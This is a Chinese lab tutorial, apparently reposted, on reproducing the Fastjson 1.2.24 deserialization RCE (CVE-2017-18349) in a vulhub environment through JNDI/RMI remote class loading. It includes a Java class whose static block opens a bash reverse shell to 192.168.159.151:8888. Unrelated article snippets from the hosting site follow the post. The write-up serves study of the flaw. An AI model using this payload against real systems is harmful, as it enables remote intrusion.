Fastjson 反序列化漏洞(CVE-2017-18349)

目录

Fastjon介绍

序列化与反序列化

漏洞产生的原因

漏洞点测试

使用dnslog探测

反弹shell


这一篇是学习JAVA里面的fastjson 反序列化漏洞,这里还是参考别的师傅总结的文章进行学习

Fastjon介绍

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

 Fastjson 源码地址:

GitHub - alibaba/fastjson: FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.

Fastjson 中文 Wiki:Quick Start CN · alibaba/fastjson Wiki · GitHub

序列化与反序列化

 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

demo:

package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {// 将一个 Java 对象序列化为 JSON 字符串Person person = new Person("Alice", 18);String jsonString = JSON.toJSONString(person);System.out.println(jsonString);// 将一个 JSON 字符串反序列化为 Java 对象String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";Person person2 = JSON.parseObject(jsonString2, Person.class);System.out.println(person2.getName() + ", " + person2.getAge());}// 定义一个简单的 Java 类public static class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public int getAge() {return age;}}
}

漏洞产生的原因

fastjson<=1.2.24

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行

Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。

简单来说:

fastjson数据传输时,序列化话为了避免结果一样,添加了autotype机制(@type键),但其受用户任意调用,恶意构造序列化代码,受害者接受数据反序列化并调用相应模块去执行。

漏洞点测试

这里使用的还是vulhub靶场中的环境

进入到如下目录:

/root/vulhub-master/fastjson/1.2.24-rce

使用docker-compose拉取环境:

环境拉取换成后我们访问查看:

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件:

编译.java文件,生成.class文件:

在class文件所在的目录,Python起一个http服务:

然后在浏览器访问就可以看到当前目录的所有文件:

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,masrhsec项目地址:marshalsec-jar/marshalsec-0.0.3-SNAPSHOT-all.jar at master · RandomRobbieBF/marshalsec-jar (github.com)

下面使一款工具来生成,github下载链接:mbechler/marshalsec (github.com)

在pom.xml所在目录,需要运行以下命令生成.jar文件:

对页面抓包,然后将提交方式修改为POST,提交下列数据

发送后,RMI监听和HTTP监听都会收到请求

使用dnslog探测

可以看到是有回显的,说明我们是存在漏洞点的

反弹shell

这里首先就是需要在漏洞文件夹中新建一个shell.java文件内容如下,是反弹shell的语句:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.159.151/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

然后我们先在攻击机上使用nc进行监听:

然后将文件编译为class文件:

javac GetShell.java

 开启http服务:

python -m http.server 4444

访问页面可以看到:

 开启RMI服务:

然后还是抓包,将请求方式修改为POST,然后请求体中加上rmi监听的文件:

查看攻击机中的nc监听状态,可以看到已经成功的反弹shell了

参考文章:

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

完全零基础入门Fastjson系列漏洞(基础篇) - 先知社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/855717.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

美业人专用宝藏系统、Java收银系统源码分享-美业SAAS系统的应用价值分析

美业SAAS系统&#xff08;Software as a Service&#xff09;在美容、美发、美甲等行业中具有重要的应用价值。这种系统为美业提供了一种数字化解决方案&#xff0c;帮助企业更高效地管理业务和客户关系。 以下是博弈美业SAAS系统的应用价值分析&#xff1a; 1.经营管理&#…

西门子PLC1200--与电脑连接的TCP通讯

本例演示将PLC作为服务器&#xff0c;电脑作为客户端&#xff0c;进行通讯。 反过来也是一回事&#xff0c;就不啰嗦了。 二者进行TCP通讯&#xff0c;是基于网线的&#xff0c;电脑上用的是网口&#xff0c;PLC上用的是Profinet接口&#xff0c;即PN口。 软件工具准备 西门子…

学习记录之数学表达式(5)

文章目录 十、线性回归10.1 示例10.2 拟合10.3 推导10.4 岭回归10.5 作业 十一、Logistic回归11.1 分割超平面11.2 点到直线的距离11.3 sigmoid函数11.4 优化目标11.5 求解11.6 作业 十、线性回归 线性回归是一个常用的机器学习算法&#xff1b; 10.1 示例 表 1.单变量的股价预…

瓦罗兰特教你怎么玩低价区+超适配低价区的免费加速器

《无畏契约》&#xff08;VALORANT&#xff09;是一款款英雄为核心的5V5第一人称战术射击PC游戏。在瓦罗兰特游戏中&#xff0c;玩家完成每日任务即可以获得大量的经验升级&#xff0c;另外我们也可以多多完成主线和支线任务&#xff0c;来加快升级的速度。玩家通过挑战副本&am…

Focal Network for Image Restoration

Focal Network for Image Restoration 用于图像恢复的焦点网络 Yuning Cui1 Wenqi Ren2* Xiaochun Cao2 Alois Knoll1 1Technical University of Munich 2Shenzhen Campus of Sun Yat-sen University {yuning.cui,knoll}in.tum.de {renwq3,caoxiaochun}mail.sysu.edu.cn 论文…

和The Sandbox一起展望伊斯坦布尔的未来: 伊斯坦布尔 2124 Game Jam 集锦!

2024 年 5 月 24 日至 26 日&#xff0c;伊斯坦布尔 2124 Game Jam 在 StartGate Maslak 举行&#xff0c;由 The Sandbox、StartGate 和 YTU GamesUP 联合举办。这次活动为参与者提供了在 The Sandbox 元宇宙中塑造伊斯坦布尔未来的机会。 充满创新项目的一周 来自 The Sandbo…

手把手教你创建并启动一个Vue3项目(Windows版)

一、Node安装 1、下载地址&#xff1a;Node.js — Run JavaScript Everywhere 2、安装Node&#xff0c;双击启动一直Next 3、验证安装Node是否成功&#xff0c;打开CMD命令窗口&#xff0c;输入node -v&#xff0c;显示版本就表示成功 4、验证安装npm是否成功&#xff0c;npm是…

Elasticseach RestClient Api

Elasticsearch RestclientApi基础用法 查询 索引库 初始化 添加依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId> </dependency>创建链接 package com…

数据资产价值如何分析评估?

引言&#xff1a;当企业完成了数据治理&#xff0c;形成了数据资产&#xff0c;负责的部门数据中心对数据资产缺乏直观的展示方式&#xff0c;有多少数据资产&#xff0c;资产如何分布&#xff0c;领导两眼一抹黑&#xff1f;数据资产生产过程不透明&#xff0c;数据质量如何&a…

发力采销,京东的“用户关系学”

作者 | 曾响铃 文 | 响铃说 40多岁打扮精致的城市女性&#xff0c;在西藏那曲的偏远农村&#xff0c;坐着藏民的摩托车&#xff0c;行驶在悬崖边的烂泥路上&#xff0c;只因为受顾客的“委托”&#xff0c;要寻找最原生态的藏区某款产品。 30多岁的憨厚中年男性&#xff0c;…

485通信协议

文章目录 STM32-20-4851. 485总线2. 485相关HAL库驱动3. 485配置步骤4. 代码实现 STM32-20-485 1. 485总线 串口、UART、TTL、RS232、RS422、RS485关系&#xff1a; 关系与区别&#xff1a; 特性串口UARTTTLRS232RS422RS485定义数据传输接口硬件设备电平标准通信标准通信标准…

安享智慧理财金融测试项目

1. 项目介绍 安享智慧理财金融系统是基于 Java 语言开发&#xff0c;集 PC 端、APP 端、WAP 端为一体的 P2P&#xff08;个人对个人&#xff09;的借贷系统&#xff0c;提供了完整的借款和投资功能。 web用户端 说明&#xff1a;PC 网站&#xff0c;供借款人和投资人使用功能…

疯狂买买买!你的支付环境真的安全吗?

在日常生活中&#xff0c;移动电话为我们带来了更多的方便。然而&#xff0c;我们在享受手机支付的便捷之余&#xff0c;也应充分认识到风险&#xff0c;增强防范意识&#xff0c;慧眼识诈。 小亿提醒&#xff1a;大家在购物之余&#xff0c;务必要注意手机支付的安全性&#…

2021 hnust 湖科大 C语言课程设计报告+代码+流程图源文件+指导书

2021 hnust 湖科大 C语言课程设计报告代码流程图源文件指导书 目录 报告 下载链接 https://pan.baidu.com/s/14NFsDbT3iS-a-_7l0N5Ulg?pwd1111

系统架构——Spring Framework

目录 &#xff08;1&#xff09;基本介绍 &#xff08;2&#xff09;基本发展历史 &#xff08;3&#xff09;了解和学习 Spring 4.x 系列的系统架构 1、第一个模块&#xff1a;做核心容器&#xff08;Core Contaner&#xff09; 2、第二个模块&#xff1a;AOP与Aspects(这…

Flink 反压

反压 Flink反压是一个在实时计算应用中常见的问题&#xff0c;特别是在流式计算场景中。以下是对Flink反压的详细解释&#xff1a; 一、反压释义 反压&#xff08;backpressure&#xff09;意味着数据管道中某个节点成为瓶颈&#xff0c;其处理速率跟不上上游发送数据的速率…

Chrome插件开发入门:手把手教你创建第一个扩展

问题背景 最近&#xff0c;客户发布了一个新的任务 —— 开发一个Chrome插件。之前没有这方面的开发经验&#xff0c;准备想学习一下这块的内容&#xff0c;我发现网上的大多数视频都是几年前的&#xff0c;开发版本都是基于MV2&#xff0c;当前谷歌已经开始使用MV3&#xff0…

【区块链】以太坊白皮书深度解读:构建智能合约的分布式平台

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 以太坊白皮书深度解读&#xff1a;构建智能合约的分布式平台引言1. 以太坊的诞生…

Nuxt快速学习开发---Nuxt3视图Views

Views Nuxt提供了几个组件层来实现应用程序的用户界面 默认情况下&#xff0c;Nuxt 会将app.vue文件视为入口点并为应用程序的每个路由呈现其内容 应用程序.vue <template> <div> <h1>Welcome to the homepage</h1> </div> </template> …

油猴hook+内存爆破

hook方式 说明&#xff1a;来回翻页发现只有请求体的token需要逆向&#xff0c;而这个请求体是在params里&#xff0c;拼接到url里&#xff0c;可以直接用油猴hook url里的关键字token。 正常步骤 hook代码 // UserScript // name hookparams // namespace htt…